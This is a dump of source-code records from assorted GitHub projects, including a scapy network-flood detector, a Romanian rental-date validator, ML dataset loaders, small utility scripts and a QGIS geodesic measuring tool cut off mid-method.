'\n\n def set_flags(self):\n for category in self.FILTERED_ACTIVITIES:\n if len(self.FILTERED_ACTIVITIES[category]['activities']) > 20:\n self.FILTERED_ACTIVITIES[category]['flag'] = self.check_avg_time(\n self.FILTERED_ACTIVITIES[category]['activities'])\n if self.FILTERED_ACTIVITIES[category]['flag']:\n self.FILTERED_ACTIVITIES[category]['attacker-mac'] = list(\n set([i[3] for i in self.FILTERED_ACTIVITIES[category]['activities']]))\n\n def analyze_packet(self, pkt):\n src_ip, dst_ip, src_port, dst_port, tcp_flags, icmp_type = None, None, None, None, None, None\n protocol = []\n\n if len(self.RECENT_ACTIVITIES) > 15:\n self.RECENT_ACTIVITIES = self.RECENT_ACTIVITIES[-15:]\n\n for category in self.FILTERED_ACTIVITIES:\n if len(self.FILTERED_ACTIVITIES[category]['activities']) > 30:\n self.FILTERED_ACTIVITIES[category]['activities'] = self.FILTERED_ACTIVITIES[category]['activities'][-30:]\n\n self.set_flags()\n\n src_mac = pkt[Ether].src if Ether in pkt else None\n dst_mac = pkt[Ether].dst if Ether in pkt else None\n\n if IP in pkt:\n src_ip = pkt[IP].src\n dst_ip = pkt[IP].dst\n elif IPv6 in pkt:\n src_ip = pkt[IPv6].src\n dst_ip = pkt[IPv6].dst\n\n if TCP in pkt:\n protocol.append(\"TCP\")\n src_port = pkt[TCP].sport\n dst_port = pkt[TCP].dport\n tcp_flags = pkt[TCP].flags.flagrepr()\n if UDP in pkt:\n protocol.append(\"UDP\")\n src_port = pkt[UDP].sport\n dst_port = pkt[UDP].dport\n if ICMP in pkt:\n protocol.append(\"ICMP\")\n # 8 for echo-request and 0 for echo-reply\n icmp_type = pkt[ICMP].type\n\n if ARP in pkt and pkt[ARP].op in (1, 2):\n protocol.append(\"ARP\")\n if pkt[ARP].hwsrc in self.MAC_TABLE.keys() and self.MAC_TABLE[pkt[ARP].hwsrc] != pkt[ARP].psrc:\n self.MAC_TABLE[pkt[ARP].hwsrc] = pkt[ARP].psrc\n if pkt[ARP].hwsrc not in self.MAC_TABLE.keys():\n self.MAC_TABLE[pkt[ARP].hwsrc] = pkt[ARP].psrc\n\n load_len = len(pkt[Raw].load) if Raw in pkt else None\n\n attack_type = None\n\n if ICMP in pkt:\n if src_ip == self.MY_IP and src_mac != self.MY_MAC:\n self.FILTERED_ACTIVITIES['ICMP-SMURF']['activities'].append([\n pkt.time, ])\n attack_type = 'ICMP-SMURF PACKET'\n\n if load_len and load_len > 1024:\n self.FILTERED_ACTIVITIES['ICMP-POD']['activities'].append([\n pkt.time, ])\n attack_type = 'ICMP-PoD PACKET'\n\n if dst_ip == self.MY_IP:\n if TCP in pkt:\n if tcp_flags == \"S\":\n self.FILTERED_ACTIVITIES['TCP-SYN']['activities'].append([\n pkt.time, ])\n attack_type = 'TCP-SYN PACKET'\n\n elif tcp_flags == \"SA\":\n self.FILTERED_ACTIVITIES['TCP-SYNACK']['activities'].append([\n pkt.time, ])\n attack_type = 'TCP-SYNACK PACKET'\n\n self.RECENT_ACTIVITIES.append(\n [pkt.time, protocol, src_ip, dst_ip, src_mac, dst_mac, src_port, dst_port, load_len, attack_type])\n\n def start(self):\n if not self.flag:\n self.flag = True\n sniff_thread = threading.Thread(target=self.sniffer_threader)\n sniff_thread.daemon = True\n sniff_thread.start()\n analyze_thread = threading.Thread(target=self.analyze_threader)\n analyze_thread.daemon = True\n analyze_thread.start()\n return self.flag\n\n def stop(self):\n self.flag = False\n self.PACKETS_QUEUE = Queue()\n self.RECENT_ACTIVITIES = []\n self.FILTERED_ACTIVITIES = {\n 'TCP-SYN': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'TCP-SYNACK': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-POD': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-SMURF': {'flag': False, 'activities': [], 'attacker-mac': []},\n }\n return self.flag\n\n\ndef clear_screen():\n if \"linux\" in sys.platform:\n os.system(\"clear\")\n elif \"win32\" in sys.platform:\n os.system(\"cls\")\n else:\n pass\n\n\ndef is_admin():\n try:\n return os.getuid() == 0\n except AttributeError:\n pass\n try:\n return ctypes.windll.shell32.IsUserAnAdmin() == 1\n except AttributeError:\n return False\n","repo_name":"priyamharsh14/SniffnDetect","sub_path":"sniffndetect.py","file_name":"sniffndetect.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"2"} +{"seq_id":"21906703930","text":"#din modulul exceptii al pachetului erori importam clasa ValidError (obictele acestei clase vor fi de fapt obiecte de clasa Exception)\nfrom erori.exceptii import ValidError\nimport datetime\n\nclass ValidatorInchiriere:\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Inchiriere\n\n def __valideaza_an_bisect(self, an_curent):\n #metoda privata care verifica daca un an dat ca si argument/parametru este sau nu bisect\n #date de intrare: an_curent - un an (numar intreg fara semn (unsigned)) care indica anul curent\n #date de iesire: True - anul an_curent este bisect\n # False - anul an_curent nu este bisect\n\n if ((an_curent % 4 == 0) and (an_curent % 100 != 0)):\n return True\n if (an_curent % 400 == 0):\n return True\n return False\n\n def __zile_luni_an_curent(self, an_curent):\n #metoda privata care returneaza o mapare (structura de date de tip map) a lunilor (chei) la numarul de zile corespunzator (valori numerice ale cheilor)\n #date de intrare: an_curent - anul curent\n #date de iesire: map care contine pentru fiecare luna din an (indexata de la 1 la 12, incepand cu luna februarie si terminand cu decembrie) numarul de zile\n\n if self.__valideaza_an_bisect(an_curent) == True: #verificam daca anul curent este sau nu bisect pentru a determina numarul de zile din luna februarie\n an_bisect = 1 #anul curent este bisect (februarie are 29 de zile)\n else:\n an_bisect = 0 #anul curent nu este bisect (februarie are 28 de zile)\n\n #returnam un map care pentru fiecare luna din an contine numarul de zile din luna respectiva\n return {1 : 31, #luna ianuarie (1) contine 31 de zile\n 2 : (28 + an_bisect), #luna februarie (2) contine 28 de zile daca anul curent nu este bisect si 29 daca este\n 3 : 31, #luna martie (3) contine 31 de zile\n 4 : 30, #luna aprilie (4) contine 30 de zile\n 5 : 31, #luna mai (5) contine 31 de zile\n 6 : 30, #luna iunie (6) contine 30 de zile\n 7 : 31, #luna iulie (7) contine 31 de zile\n 8 : 31, #luna august (8) contine 31 de zile\n 9 : 30, #luna septembrie (9) contine 30 de zile\n 10: 31, #luna octombrie (10) contine 31 de zile\n 11: 30, #luna noiembrie (11) contine 30 de zile\n 12: 31} #luna decembrie (12) contine 31 de zile\n\n def __valideaza_termen_predare(self, data_rea):\n #metoda privata care valideaza daca o data pasata ca si parametru/argument la apelul metodei/functiei poate sa fie un termen de predare pentru un film (adica daca data este in viitor, cel mai devreme maine fata de momentul inchirierii filmului)\n #date de intrare: data_rea - un obiect de clasa Data\n #date de iesire: err - lista de erori (daca este vida => data data_rea este valida, in caz contrar (len(err) != 0 <=> lista de erori nu e vida) data_rea nu reprezinta o data valida)\n\n data_curenta = datetime.datetime.now() #data curenta\n zi_curenta = data_curenta.day #ziua curenta\n luna_curenta = data_curenta.month #luna curenta\n an_curent = data_curenta.year #anul curent\n\n err = '' #lista de erori (sir de caractere)\n\n if data_rea.get_an() < an_curent:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n elif data_rea.get_an() == an_curent:\n if data_rea.get_luna() < luna_curenta:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n elif data_rea.get_luna() == luna_curenta:\n if data_rea.get_zi() <= zi_curenta:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n\n return err #returnam lista de erori\n\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Data (adica atributele zi, luna si an)\n def __valideaza_data(self, data_rea):\n #metoda privata care valideaza o data calendaristica data_rea (verifica ca valorile din campurile/atributele zi, luna si an sa fie valori valide)\n #date de intrare: data_rea - data calendaristica (obiect de clasa Data)\n #date de iesire: err - lista (sir de caractere sau string) de erori\n\n zile_luna = self.__zile_luni_an_curent(data_rea.get_an()) #map care contine ca si chei numarul tuturor lunilor din an si ca si valori numarul de zile al acestora\n\n err = '' #lista de erori care este initial vida (nu s-au gasit erori inca)\n\n if data_rea.get_zi() < 1 or ((data_rea.get_luna() >= 1 and data_rea.get_luna() <= 12) and data_rea.get_zi() > zile_luna[data_rea.get_luna()]):\n err += 'zi invalida!\\n'\n if data_rea.get_luna() < 1 or data_rea.get_luna() > 12:\n if not len(err):\n err += 'zi invalida!\\n'\n err += 'luna invalida!\\n'\n if data_rea.get_an() < 1:\n err += 'an invalid!\\n'\n\n if len(err): #s-a detectat cel putin un camp/atribut invalid pentru data calendaristica primita de metoda/fuctia curenta ca si parametru\n return err #returnam lista de erori\n\n return self.__valideaza_termen_predare(data_rea) #verificam daca data calendaristica data_rea (validata cu succes) poate sa reprezinte un termen de returnare (retur) a unui film\n\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Inchiriere\n def valideaza(self, inchiriere_rea):\n #metoda corespunzatoare unui obiect de clasa ValidatorInchiriere care valideaza campurile unui obiect de clasa Inchiriere\n #date de intrare: inchiriere_rea - obiect de clasa Inchiriere pe care dorim sa il validam\n #date de iesire: nimic - daca inchirierea inchiriere_rea este valida (fiecare camp al acestui obiect de clasa Inchiriere respecta restrictiile impuse asupra campului respectiv)\n # eroare de tipul ValidError (Exception) cu mesajul err - daca cel putin un camp al inchirierii inchiriere_rea nu este valid (prin urmare obiectul inchiriere_rea de clasa Inchiriere va fi la randul lui invalid)\n\n err = '' #lista de erori (sir de caractere/string)\n\n if inchiriere_rea.get_id_inchiriere() < 0: #campul id_inchiriere al unui obiect de clasa Inchiriere este un numar natural\n #campul id_inchiriere al inchirierii inchiriere_rea este invalid\n err += 'id inchiriere invalid!\\n' #adaugam eroarea gasita la lista de erori (sir de caractere/string)\n\n err += self.__valideaza_data(inchiriere_rea.get_data()) #validam data din campul data a unui obiect de clasa inchiriere (inchiriere_rea) apeland metoda privata __valideaza_data() avand ca parametru data pe care vrem sa o validam\n\n if len(err): #cel putin un camp/atribut al obiectului de clasa Inchiriere inchiriere_rea este invalid => inchirierea inchiriere_rea este invalida\n raise ValidError(str(err)) #raise Exception(str(err))\n #aruncam o eroare de tipul ValidError (Exception) cu mesajul err (string)","repo_name":"Ampersand25/Movie-Renting-Application","sub_path":"Lab7-9/validare/validator_inchiriere.py","file_name":"validator_inchiriere.py","file_ext":"py","file_size_in_byte":7347,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4044283658","text":"import math\nimport random\nfrom constants import *\n\n\n# Particle class\nclass Particle:\n def __init__(self, i, mass=0.0,):\n # Position\n self.px = float(random.randint(Width / 2 - Width / 2, Width / 2 + Width / 2))\n self.py = float(random.randint(Height / 2 - Height / 2, Height / 2 + Height / 2))\n # Velocity\n self.vx = 0#float(random.randint(-10, 10))\n self.vy = 0#float(random.randint(-10, 10))\n # Acceleration\n self.ax = 0\n self.ay = 0\n # Radius\n self.r = random.randint(10, 10) * 1.0\n # Boolean to keep track whether the particle still exist\n self.exist = True\n # Randomizing particle color to something visible\n self.color = (random.randint(100, 255) / 255, random.randint(100, 255) / 255, random.randint(100, 255) / 255)\n # Initialize mass\n if mass == 0:\n self.setM()\n else:\n self.mass = mass * 1.0\n self.setR()\n # Initialize node id\n self.id = i\n\n # A method to manually set position and mass, used for easier force calculations\n def setP(self, x, y, m):\n self.px, self.py, self.mass = x, y, m\n\n # Calculate new acceleration due to another particle a\n def addA(self, a):\n dx = a.px - self.px\n dy = a.py - self.py\n dist2 = dx * dx + dy * dy\n Gforce = GC * self.mass * a.mass / dist2 if dist2 > 1e-9 else 0.0\n dist = math.sqrt(dist2)\n # Using Gravitational Force Formula for vector quantities\n self.ax += Gforce / dist * dx\n self.ay += Gforce / dist * dy\n\n # Calculate final position of the particle after checking all other ones\n def updatePV(self):\n self.vx += self.ax * DT\n self.vy += self.ay * DT\n self.px += self.vx * DT\n self.py += self.vy * DT\n # If the particle hits boundary, bounce back and lose a \"bit\" of energy\n if self.px < 10 or math.fabs(Width - self.px) < 10:\n self.vx = -self.vx * 0.8\n if self.py < 10 or math.fabs(Height - self.py) < 10:\n self.vy = -self.vy * 0.8\n\n # Set Mass from radius and density\n def setM(self):\n self.mass = Density * 4.0 / 3.0 * self.r ** 3 * math.pi\n\n # Used to calculate new radius after merging masses\n def setR(self):\n self.r = (self.mass * 3.0 / (Density * 4.0 * math.pi)) ** (0.33333333)\n\n # Test if two particles collided\n def collide(self, a):\n dx = a.px - self.px\n dy = a.py - self.py\n dist2 = dx * dx + dy * dy\n return dist2 < (self.r + a.r) ** 2\n","repo_name":"Kevinwen1999/nbody","sub_path":"particle.py","file_name":"particle.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71670136687","text":"\"\"\"Implements COVID SLIC Dataset\"\"\"\n\nimport os\n\nimport pandas as pd\nimport torch\nfrom PIL import Image\n\n# import numpy as np\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\n\nfrom src.modules.transforms import *\nfrom src.utils.mapper import configmapper\n\n\n# from src.utils.viz import visualize_geometric_graph\n# import matplotlib.pyplot as plt\n\n\n@configmapper.map(\"datasets\", \"covid_slic\")\nclass CovidSlic(Dataset):\n def __init__(self, config):\n super().__init__()\n self.config = config\n\n transformations = []\n for transform in config.transform_args:\n param_dict = (\n dict(transform[\"params\"]) if transform[\"params\"] is not None else {}\n )\n transformations.append(\n configmapper.get_object(\"transforms\", transform[\"type\"])(**param_dict)\n )\n self.transform = (\n transforms.Compose(transformations) if transformations != [] else None\n )\n\n self.data_paths_df = pd.read_csv(config.data_paths_csv)\n self.data_paths_df[\"path\"] = self.data_paths_df[\"path\"].apply(\n lambda x: os.path.join(\"/\".join(config.data_paths_csv.split(\"/\")[:-1]), x)\n )\n\n def __len__(self):\n return self.data_paths_df.shape[0]\n\n def __getitem__(self, idx):\n image = Image.open(self.data_paths_df.iloc[idx][\"path\"]).convert(\"L\")\n label = self.data_paths_df.iloc[idx][\"label\"]\n if self.transform is not None:\n graph = self.transform(image)\n\n # pix = np.array(image.resize((256,256)).getdata()).reshape(256,256)\n # plt.imsave(f\"covid_{label}.pdf\", pix)\n # visualize_geometric_graph(graph, f\"covid_graph_{label}.pdf\",0.5094362248497217, 0.25237422057401465, pix)\n\n return {\"graph\": graph, \"label\": torch.tensor(label, dtype=torch.long)}\n","repo_name":"abheesht17/super-pixels","sub_path":"src/datasets/covid_slic.py","file_name":"covid_slic.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"2"} +{"seq_id":"34090609790","text":"import openpyxl\r\nimport matplotlib.pyplot as plt\r\n\r\ndef get_filename():\r\n filename = input(\"Input filename: \")\r\n return filename\r\n\r\ndef get_data_salary(filename):\r\n # Создадим контейнер\r\n posts = {}\r\n # Откроем файл\r\n source_book = openpyxl.load_workbook(filename)\r\n # Data\r\n sheet = source_book['Data']\r\n pairs = sheet['G2':'H4495']\r\n for c1, c2 in pairs:\r\n if c1.value in posts:\r\n posts[c1.value][0] += 1\r\n posts[c1.value][1] += c2.value\r\n else:\r\n posts[c1.value] = [1, c2.value]\r\n return posts\r\n\r\ndef average_salary(posts):\r\n for everyone in posts:\r\n posts[everyone] = posts[everyone][1]/posts[everyone][0]\r\n return posts\r\n\r\ndef show_bar(posts):\r\n # Object Counter не стал использовать, так как по сути тот же словарь\r\n heights = [posts[item] for item in posts] #counter_obj.values()\r\n bars = [item for item in posts] #counter_obj.keys()\r\n y_pos = range(len(bars))\r\n \r\n # Хотел красивые границы сделать.\r\n find_max, find_min = round(max(heights)), round(min(heights))\r\n plt.ylim(find_min - 1000, find_max + 1000)\r\n\r\n # Повороты\r\n plt.bar(y_pos, heights, align='center', alpha=1)\r\n plt.xticks(y_pos, bars, rotation=90)\r\n # Лейблы\r\n plt.ylabel('Средняя заработная плата')\r\n plt.title('График зависимости средней зарплаты от должности')\r\n\r\n # Сохраняем\r\n file_name = 'attitude_to_earnings.png'\r\n plt.savefig(file_name)\r\n plt.show()\r\n\r\ndef main():\r\n input_file = get_filename()\r\n average_salary_data = average_salary(get_data_salary(input_file))\r\n show_bar(average_salary_data)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"gHuwk/python_MEPhI","sub_path":"lab_04/lab_04.py","file_name":"lab_04.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22154942684","text":"import requests\nimport os\nimport json\nimport sys\n\n# has auth info\napi_call_header = \"\"\n\ndef main():\n global api_call_header\n\n if (len(sys.argv) < 2):\n raise Exception(\"Missing bearer_token as command line arg\")\n bearer_token = sys.argv[1]\n api_call_header = create_headers(bearer_token)\n\n if (len(sys.argv) < 3):\n raise Exception(\"Missing users to base to-follow recommendation on\")\n\n username_list = sys.argv[2:]\n\n userids_url = get_userids_url(username_list)\n userids_response = connect_to_endpoint(userids_url)\n userids = get_userids(userids_response)\n\n to_follow_dict = {}\n for userid in userids:\n add_following(userid, to_follow_dict, \"\")\n\n print(json.dumps(to_follow_dict, indent=4, sort_keys=True))\n print(len(to_follow_dict))\n for key, value in to_follow_dict.items():\n if value['frequency'] > 1:\n print(key)\n print(value)\n\ndef add_following(userid, to_follow_dict, next_token):\n \"\"\"\n following shape:\n {
Done
')\n\ndef create_alert(trigger_code):\n\n channel_layer = get_channel_layer()\n\n async_to_sync(channel_layer.group_send)(\n 'chat_%s' %'alerts',\n {\n 'type': 'chat_message',\n 'message': trigger_code\n }\n )\n\ndef index(request):\n Trigger.objects.update(is_triggered = False)\n return render(request, 'index.html')\n","repo_name":"dtekluva/AUTONOMOUS-DRONE","sub_path":"webapp/drones/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24324511223","text":"import cv2\r\nimport os\r\nimport json\r\n\r\nimport face_recognition\r\nimport magic\r\nimport numpy as np\r\n\r\n\r\n\r\nclass FMA:\r\n def __init__(self):\r\n # the model used from cv2\r\n recognizer = cv2.face.LBPHFaceRecognizer_create()\r\n recognizer.read(\"face_recognizer1/face_recognizer1.yml\")\r\n self.recognizer = recognizer\r\n self.labels = json.load(open(\"fetch_images/labels.json\"))\r\n\r\n def predict(self, file):\r\n # files allowed are only images (gifs excluded)\r\n if 'image' in magic.from_file(file, mime=True) and 'gif' not in str(magic.from_file(file, mime=True)).lower():\r\n img = face_recognition.load_image_file(file)\r\n # the model is trained on grayscale images\r\n gray_img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\r\n faces = face_recognition.face_locations(img)\r\n names = []\r\n for top, right, bottom, left in faces:\r\n roi_gray = gray_img[top:bottom, left:right]\r\n # rectangle color and thickness\r\n color = (255, 0, 0)\r\n stroke = 2\r\n cv2.rectangle(img, (left, top), (right, bottom), color, stroke)\r\n font = cv2.FONT_HERSHEY_SIMPLEX\r\n # prediction name\r\n name = self.labels[str(self.recognizer.predict(roi_gray)[0])]\r\n names.append(name)\r\n stroke_color = (5, 5, 5)\r\n color = (240, 240, 240)\r\n stroke = 4\r\n # adds the prediction text near the triangle with a stroke so it can be seen on every image, no matter the colors\r\n cv2.putText(img, name, (left, top-10), font, 0.4, stroke_color, stroke, cv2.LINE_AA)\r\n cv2.putText(img, name, (left, top-10), font, 0.4, color, 1, cv2.LINE_AA)\r\n return cv2.resize(img, (360, 360)), names\r\n else:\r\n return None, []\r\n","repo_name":"surtexx/Find-my-Actors","sub_path":"FMA.py","file_name":"FMA.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"15943471907","text":"from os import listdir # 解析VOC数据路径时使用\nfrom os.path import join\nfrom random import random\nfrom PIL import Image, ImageDraw\nimport xml.etree.ElementTree # 用于解析VOC的xmllabel\n\nimport torch\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\n\nfrom sampling import sampleEzDetect\n\n__all__ = [\"vocClassName\", \"vocClassID\", \"vocDataset\"]\n\nvocClassName = [\n 'aeroplane',\n 'bicycle',\n 'bird',\n 'boat',\n 'bottle',\n 'bus',\n 'car',\n 'cat',\n 'chair',\n 'cow',\n 'diningtable',\n 'dog',\n 'horse',\n 'motorbike',\n 'person',\n 'pottedplant',\n 'sheep',\n 'sofa',\n 'train',\n 'tvmonitor']\n\n\ndef getVOCInfo(xmlFile):\n root = xml.etree.ElementTree.parse(xmlFile).getroot();\n anns = root.findall('object')\n\n bboxes = []\n for ann in anns:\n name = ann.find('name').text\n newAnn = {}\n newAnn['category_id'] = name\n\n bbox = ann.find('bndbox')\n newAnn['bbox'] = [-1, -1, -1, -1]\n newAnn['bbox'][0] = float(bbox.find('xmin').text)\n newAnn['bbox'][1] = float(bbox.find('ymin').text)\n newAnn['bbox'][2] = float(bbox.find('xmax').text)\n newAnn['bbox'][3] = float(bbox.find('ymax').text)\n bboxes.append(newAnn)\n\n return bboxes\n\n\nclass vocDataset(data.Dataset):\n def __init__(self, config, isTraining=True):\n super(vocDataset, self).__init__()\n self.isTraining = isTraining\n self.config = config\n\n normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]) # 用均值和方差对图片的RGB值分别进行归一化（也有其他方法，这种相对比较简单）\n self.transformer = transforms.Compose([transforms.ToTensor(), normalize])\n\n def __getitem__(self, index):\n item = None\n if self.isTraining:\n item = allTrainingData[index % len(allTrainingData)]\n else:\n item = allTestingData[index % len(allTestingData)]\n\n img = Image.open(item[0]) # item[0]为图像数据\n allBboxes = getVOCInfo(item[1]) # item[1]为通过getVOCInfo函数解析出真实label的数据\n imgWidth, imgHeight = img.size\n\n targetWidth = int((random() * 0.25 + 0.75) * imgWidth)\n targetHeight = int((random() * 0.25 + 0.75) * imgHeight)\n\n # 对图片进行随机crop，并保证bbox大小\n xmin = int(random() * (imgWidth - targetWidth))\n ymin = int(random() * (imgHeight - targetHeight))\n img = img.crop((xmin, ymin, xmin + targetWidth, ymin + targetHeight))\n img = img.resize((self.config.targetWidth, self.config.targetHeight), Image.BILINEAR)\n imgT = self.transformer(img)\n imgT = imgT * 256\n\n # 调整bbox\n bboxes = []\n for i in allBboxes:\n xl = i['bbox'][0] - xmin\n yt = i['bbox'][1] - ymin\n xr = i['bbox'][2] - xmin\n yb = i['bbox'][3] - ymin\n\n if xl < 0:\n xl = 0;\n if xr >= targetWidth:\n xr = targetWidth - 1\n if yt < 0:\n yt = 0\n if yb >= targetHeight:\n yb = targetHeight - 1\n\n xl = xl / targetWidth\n xr = xr / targetWidth\n yt = yt / targetHeight\n yb = yb / targetHeight\n\n if (xr - xl >= 0.05 and yb - yt >= 0.05):\n bbox = [vocClassID[i['category_id']],\n xl, yt, xr, yb]\n\n bboxes.append(bbox)\n\n if len(bboxes) == 0:\n return self[index + 1]\n\n target = sampleEzDetect(self.config, bboxes);\n\n '''\n ### 对预测图片进行测试 ##########\n draw = ImageDraw.Draw(img)\n num = int(target[0])\n for j in range(0,num):\n offset = j * 6\n if ( target[offset + 1] < 0):\n break\n\n k = int(target[offset + 6])\n trueBox = [ target[offset + 2],\n target[offset + 3],\n target[offset + 4],\n target[offset + 5] ]\n\n predBox = self.config.predBoxes[k]\n\n draw.rectangle([trueBox[0]*self.config.targetWidth,\n trueBox[1]*self.config.targetHeight,\n trueBox[2]*self.config.targetWidth,\n trueBox[3]*self.config.targetHeight])\n\n draw.rectangle([predBox[0]*self.config.targetWidth,\n predBox[1]*self.config.targetHeight,\n predBox[2]*self.config.targetWidth,\n predBox[3]*self.config.targetHeight], None, \"red\")\n\n del draw\n img.save(\"/tmp/{}.jpg\".format(index) )\n '''\n\n return imgT, target\n\n def __len__(self):\n if self.isTraining:\n num = len(allTrainingData) - (len(allTrainingData) % self.config.batchSize)\n return num\n else:\n num = len(allTestingData) - (len(allTestingData) % self.config.batchSize)\n return num\n\nvocClassID = {}\nfor i in range(len(vocClassName)):\n vocClassID[vocClassName[i]] = i + 1\n\nprint(vocClassID)\nallTrainingData = [] # 第167行，该行后面的代码为从VOC2007中读取数据，会在调用voc_dataset.py文件时立即执行\nallTestingData = []\nallFloder = [\"./VOCdevkit/VOC2007\"] # 我们把从VOC网站下载的数据放到本地，只使用VOC2007做实验\nfor floder in allFloder:\n imagePath = join(floder, \"JPEGImages\")\n infoPath = join(floder, \"Annotations\")\n index = 0\n\n for f in listdir(imagePath): # 遍历9964张原始图片\n if f.endswith(\".jpg\"):\n imageFile = join(imagePath, f)\n infoFile = join(infoPath, f[:-4] + \".xml\")\n if index % 10 == 0: # 每10张随机抽1个样本做测试\n allTestingData.append((imageFile, infoFile))\n else:\n allTrainingData.append((imageFile, infoFile))\n\n index = index + 1","repo_name":"wuxh123/machine-learning","sub_path":"170SSD/voc_dataset.py","file_name":"voc_dataset.py","file_ext":"py","file_size_in_byte":6134,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"27"} +{"seq_id":"30293989853","text":"from machine import Pin\r\nimport time\r\n\r\np4 = Pin(4,Pin.OUT)\r\np5 = Pin(5,Pin.OUT)\r\np6 = Pin(6,Pin.OUT)\r\np7 = Pin(7,Pin.OUT)\r\n\r\np1 = Pin(1,Pin.IN)\r\np2 = Pin(2,Pin.IN)\r\np3 = Pin(3,Pin.IN)\r\n\r\np4.value(0)\r\np5.value(0)\r\np6.value(0)\r\np7.value(0)\r\n\r\ndef command_relay(num):\r\n num.value(1)\r\n time.sleep(1)\r\n num.value(0)\r\n\r\np1.value(1)\r\np2.value(1)\r\np3.value(1)\r\n\r\n\r\ns = 0\r\nwhile s < 20:\r\n time.sleep(1)\r\n s += 1\r\n if p1.value() == 0 and p2.value() == 1 and p3.value() == 1:\r\n #R1, p4\r\n command_relay(p4)\r\n \r\n elif p1.value() == 1 and p2.value() == 0 and p3.value() == 1:\r\n #R2, p5\r\n command_relay(p5)\r\n elif p1.value() == 1 and p2.value() == 1 and p3.value() == 0:\r\n #R3, p6\r\n command_relay(p6)\r\n elif p1.value() == 0 and p2.value() == 0 and p3.value() == 1:\r\n #R4, p7\r\n command_relay(p7)\r\n \r\n ","repo_name":"BenAladjem/MY-MICROPYTHON","sub_path":"command_relay_boot.py","file_name":"command_relay_boot.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"18745618002","text":"# -*- coding: utf-8 -*-\n\ndef cycleSort(array):\n writes = 0\n\n for cycleStart in range(0, len(array)-1):\n item = arr[cycleStart]\n\n pos = cycleStart\n for i in range(cycleStart+1, len(array)):\n if arr[i] < item:\n pos += 1\n\n if pos == cycleStart:\n continue\n\n while array[pos] == item:\n pos += 1\n\n array[pos], item = item, array[pos]\n writes += 1\n\n while pos != cycleStart:\n pos = cycleStart\n for i in range(cycleStart+1, len(array)):\n if array[i] < item:\n pos += 1\n\n while item == array[pos]:\n pos += 1\n\n array[pos], item = item, array[pos]\n writes += 1\n\n return writes\n\nif __name__ == \"__main__\":\n arr = [ 1, 8, 3, 9, 10, 10, 2, 4]\n n = len(arr)\n writes = cycleSort(arr)\n\n print(\"After sort : \")\n print(n)\n for i in range(0, n):\n print(arr[i])\n\n \n","repo_name":"o7878x/DailyScripts","sub_path":"python/algorithm/cycleSort.py","file_name":"cycleSort.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"29543191842","text":"import os\nimport re\nimport math\nfrom geographiclib.geodesic import Geodesic\n\nfrom qgis.PyQt.QtGui import QIcon, QColor\nfrom qgis.PyQt.QtCore import QSize, Qt, QSettings, QVariant, QByteArray\nfrom qgis.PyQt.QtWidgets import QTableWidgetItem, QDialog, QApplication, QMenu\nfrom qgis.core import (\n Qgis, QgsCoordinateTransform, QgsCoordinateReferenceSystem,\n QgsUnitTypes, QgsWkbTypes, QgsGeometry, QgsFields, QgsField,\n QgsProject, QgsVectorLayer, QgsFeature, QgsPointXY,\n QgsPalLayerSettings, QgsVectorLayerSimpleLabeling, QgsSettings)\nfrom qgis.gui import QgsMapTool, QgsRubberBand, QgsProjectionSelectionDialog, QgsVertexMarker\nfrom qgis.PyQt import uic\n# import traceback\n\nfrom .settings import epsg4326, settings, geod\nfrom .compass import Compass\nfrom .utils import tr, DISTANCE_LABELS, parseDMSString\nunitsAbbr = ['km', 'm', 'cm', 'mi', 'yd', 'ft', 'in', 'nm']\n\nclass GeodesicMeasureTool(QgsMapTool):\n\n def __init__(self, shapetools, iface, parent):\n QgsMapTool.__init__(self, iface.mapCanvas())\n self.iface = iface\n self.canvas = iface.mapCanvas()\n self.measureDialog = GeodesicMeasureDialog(shapetools, iface, parent)\n self.vertex = None\n\n def activate(self):\n '''When activated set the cursor to a crosshair.'''\n self.canvas.setCursor(Qt.CrossCursor)\n self.measureDialog.initGeodLabel()\n self.measureDialog.show()\n self.snapcolor = QgsSettings().value( \"/qgis/digitizing/snap_color\" , QColor( Qt.magenta ) )\n\n def closeDialog(self):\n '''Close the geodesic measure tool dialog box.'''\n self.removeVertexMarker()\n if self.measureDialog.isVisible():\n self.measureDialog.closeDialog()\n\n def endInteractiveLine(self):\n if self.measureDialog.isVisible():\n self.measureDialog.endRubberband()\n\n def keyPressEvent(self, event):\n if not self.measureDialog.isVisible():\n return\n key = event.key()\n self.measureDialog.keyPressed(key)\n\n def canvasPressEvent(self, 